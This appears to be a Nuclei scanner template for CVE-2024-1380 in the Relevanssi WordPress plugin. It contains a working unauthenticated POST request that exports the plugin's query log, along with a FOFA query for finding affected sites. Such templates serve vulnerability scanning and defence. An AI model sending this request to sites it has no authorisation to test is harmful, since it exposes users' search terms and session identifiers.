Relevanssi (A Better Search) <= 4.22.0 - Query Log Export

id: CVE-2024-1380

info:
  name: Relevanssi (A Better Search) <= 4.22.0 - Query Log Export
  author: FLX
  severity: medium
  description: |
    The Relevanssi Search plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check in all versions up to, and including, 4.22.0. This makes it possible for unauthenticated attackers to export the query log data.
  impact: |
    Unauthenticated attackers can export query log data containing search terms and potentially sensitive user information.
  remediation: |
    Update Relevanssi plugin to version 4.22.1 or later.
  reference:
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3033880%40relevanssi&new=3033880%40relevanssi&sfp_email=&sfph_mail=
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/7b2a3b17-0551-4e02-8e6a-ae8d46da0ef8?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1380
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-1380
    epss-score: 0.50192
    epss-percentile: 0.9877
    cpe: cpe:2.3:a:relevanssi:relevanssi:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: "/wp-content/plugins/relevanssi/"
    product: relevanssi
    vendor: relevanssi
  tags: cve,cve2024,wp,wordpress,wp-plugin,relevanssi,exposure,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=&relevanssi_export=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(header, "filename=relevanssi_log.csv", "application/download")'
          - 'contains_all(body, "user_id", "session_id")'
        condition: and
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